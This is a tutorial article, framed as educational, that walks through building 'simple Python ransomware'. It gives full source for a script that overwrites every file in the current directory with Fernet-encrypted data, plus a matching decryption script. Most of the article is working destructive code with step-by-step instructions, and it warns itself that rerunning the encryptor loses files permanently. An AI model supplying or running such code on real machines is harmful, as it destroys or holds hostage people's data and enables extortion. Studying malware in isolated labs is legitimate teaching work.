Simple Python Ransomware

Introduction

For educational purposes only

This article showcases a simple python ransomware one can create in order to educate on the concepts of malware. It consists of utilizing the following python modules:

os https://docs.python.org/3/library/os.html
cryptography
Fernet https://cryptography.io/en/latest/fernet/

Prerequisites

The program is conducted in the Linux environment
Only test the program in a virtual machine setting
Please do not run the encryption program multiple times before decryption as this will generate new encryption keys and the files will be lost forever
This is a simple ransomware and will not be able to bypass AV
Key can be obtained by reverse engineering

Part I

Step 1

First let’s create some files to be encrypted for this program.

Step 2

Let’s start writing out script.

This part of the program finds actual files in the directory and adds them to a list.

os.listdir() function

Step 3

Import the key to encrypt the files.

Generate the encryption key.

**Remember to delete the print(key) once done testing.**

Step 4

Save the generated key in a file and add the key file to not be encrypted in the program.

Test the newly added lines

Step 5

Let’s add the encryption code.

Fernet encryption function.

Files are encrypted.

The full encryption code

#!/usr/bin/env python3

import os
from cryptography.fernet import Fernet

# Locate files in the directory

files = []

for file in os.listdir():
        if file == 'encrypt.py'or file == 'encrypt.key':   # Not to decrypt the actual program
                continue
        if os.path.isfile(file):                           # Append any text files to the list
                files.append(file)

print(files)

key = Fernet.generate_key()

with open("encrypt.key","wb") as encryptkey:               # Make a file with write permissions
        encryptkey.write(key)                              # Write the encrypt key to the file

for file in files:
        with open(file,"rb") as contents:
                targets = contents.read()                 # Read the files
        targets_encrypted = Fernet(key).encrypt(targets)  # Encrypts all the files
        with open(file,"wb") as contents:                 # Write the files
                contents.write(targets_encrypted)         # Write the encrypted data to the files

Part II

Let’s create our decrypt program which is similar to our encrypt program.

Step 1

Copy the encrypt program to a new file calldecrypt.py.

Step 2

Edit the file with the following:

Remove the generate key function
Save the encryption key to a new variable
Edit the Fernet function to decrypt
Change the write function to the decrypted content

Fernet decryption function.

**Before running the decrypt program , remember to add decrypt.py file in the encrypt.py file list**

The full decryption code

#!/usr/bin/env python3

import os
from cryptography.fernet import Fernet

# Locate files in the directory

files = []

for file in os.listdir():
        if file == 'encrypt.py'or file == 'encrypt.key' or file =='decrypt.py':   # Not to decrypt the actual program
                continue
        if os.path.isfile(file):                           # Append any text files to the list
                files.append(file)

print(files)

with open("encrypt.key","rb") as key:                           # Add the key to a variable secretkey
        secretkey = key.read()

for file in files:
        with open(file,"rb") as contents:
                targets = contents.read()                       # Read the files
        targets_decrypted = Fernet(secretkey).decrypt(targets)  # Encrypts all the files
        with open(file,"wb") as contents:                       # Write the files
                contents.write(targets_decrypted)               # Write the encrypted data to the files

Files are decrypted.

Let’s test the entire process again.

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